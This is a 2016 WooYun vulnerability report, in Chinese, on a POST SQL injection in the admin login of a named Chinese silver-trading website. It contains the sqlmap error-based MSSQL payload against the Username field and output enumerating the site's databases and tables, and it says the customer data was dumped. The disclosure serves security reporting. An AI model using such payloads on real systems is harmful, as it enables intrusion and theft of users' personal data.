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缺陷编号：wooyun-2016-0176567

漏洞标题：中国白银网高危漏洞后台POST注入导致大量用户资料泄漏

相关厂商：ex-silver.com

漏洞作者： 阿圣

提交时间：2016-02-17 23:05

修复时间：2016-02-22 23:10

公开时间：2016-02-22 23:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2016-02-17： 细节已通知厂商并且等待厂商处理中
2016-02-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

后台:http://www.ex-silver.com/Admin/Login.aspx

详细说明：

burp抓的包

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用sqlmap跑了下数据库

H7LZO`LRNU3$8__ARAYC`[7.png


[22:03:05] [INFO] parsing HTTP request from 'post.txt'
[22:03:05] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:03:05] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: Username (POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: Username=test' AND 1092=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR
(112)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (1092=1092) THEN CHAR(49) ELSE CHAR
(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113))) AND 'qdEN'='qdEN&
Password=123456a&loginyzm=kit6&cSubmit=true
---
[22:03:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[22:03:05] [INFO] fetching database names
[22:03:05] [INFO] the SQL query used returns 11 entries
[22:03:05] [INFO] resumed: exSilver
[22:03:05] [INFO] resumed: ex-silver_0727
[22:03:05] [INFO] resumed: ex-silver_0730
[22:03:05] [INFO] resumed: ex-silver_31
[22:03:05] [INFO] resumed: master
[22:03:05] [INFO] resumed: model
[22:03:05] [INFO] resumed: msdb
[22:03:05] [INFO] resumed: ReportServer
[22:03:05] [INFO] resumed: ReportServerTempDB
[22:03:05] [INFO] resumed: SnailCMS
[22:03:05] [INFO] resumed: tempdb
available databases [11]:
[*] ex-silver_0727
[*] ex-silver_0730
[*] ex-silver_31
[*] exSilver
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SnailCMS
[*] tempdb


exSilver数据库里面的116个表

Database: exSilver
[116 tables]
+-----------------------------+
| ActionLog                   |
| ActiveCustomers             |
| Ad                          |
| Advertising                 |
| AnnualMeeting               |
| Ballot                      |
| BallotIp                    |
| Banner                      |
| BuyInfo                     |
| CFTCSilver                  |
| CaiJinEvent                 |
| Calendar                    |
| CentralResult               |
| ChangJIangColorNowPrice     |
| ChinaCPI                    |
| ChinaGDP                    |
| ChinaPMI                    |
| ChinaPPI                    |
| ChinaSpend                  |
| Council                     |
| CountrySilver               |
| CustAndNode                 |
| CustLevel                   |
| Customer                    |
| CustomerType                |
| D99_CMD                     |
| D99_Tmp                     |
| DataBaiYinDingPanJia        |
| DataDiaoJiZhongXin          |
| DataDownload                |
| DataGuiJinShuPrice          |
| DataTouZiYinTiao            |
| Englandbank                 |
| Europebank                  |
| Exchange                    |
| Famous                      |
| FedTable                    |
| FileInfo                    |
| FileType                    |
| FileTypeAndPersonnel        |
| Fixedprice                  |
| Friendly                    |
| GSpotPrice                  |
| GoldETF                     |
| GoldETFStock                |
| GoldProduction              |
| Goldsupply                  |
| GuangDongSouthColorNowPrice |
| Guests                      |
| Holiday                     |
| HuaYin999                   |
| HuaYin999_20150323          |
| Integrated                  |
| Investment                  |
| Japanbank                   |
| LevelInfo                   |
| LevelRole                   |
| Meeting                     |
| MenuPage                    |
| NetworkSelection            |
| NetworkVoting               |
| NewsKey                     |
| Nonferrous                  |
| OnlineCompany               |
| OnlineUser                  |
| OuZhouWarGoldPrice          |
| OuZhouWarSmallGold          |
| PageWeb                     |
| PayAttention                |
| PayAttentionOptions         |
| Personnel                   |
| PersonnelFileType           |
| PersonnelRole               |
| PreviousMeeting             |
| QuoteType                   |
| RealTimeQuotes              |
| RegisterVip                 |
| Reportsummary               |
| Research                    |
| Role                        |
| Rule                        |
| SellInfo                    |
| ShangHaiColorNowPrice       |
| SilverData                  |
| SilverETF                   |
| SilverETF_20150617bak       |
| SilverOutput                |
| SilverOutputData            |
| SilverPremium               |
| Silveragio                  |
| Silverproduction            |
| Silversupply                |
| SoftwareDownload            |
| Stock                       |
| SwapCenter                  |
| Template                    |
| ThematicInvestment          |
| UKGDP                       |
| UsaAnnualGDP                |
| UsaDataCentres              |
| UsaHomesales                |
| UsaIdleness                 |
| UsaPayrollsData             |
| UsaPriceindex               |
| UsaRetailsales              |
| Userprice                   |
| V_SellInfo                  |
| WebNode                     |
| WebPage                     |
| Website_editor              |
| applyfunc                   |
| base_price                  |
| business                    |
| pangolin_test_table         |
| sqlmapoutput                |
| yinfu                       |
+-----------------------------+

漏洞证明：

Customer数据库里面的内容。

JT`(LB7`DYG3OYGAK`DQM]Y.png

修复方案：

加强过滤验证

版权声明：转载请注明来源 阿圣@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-02-22 23:10

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

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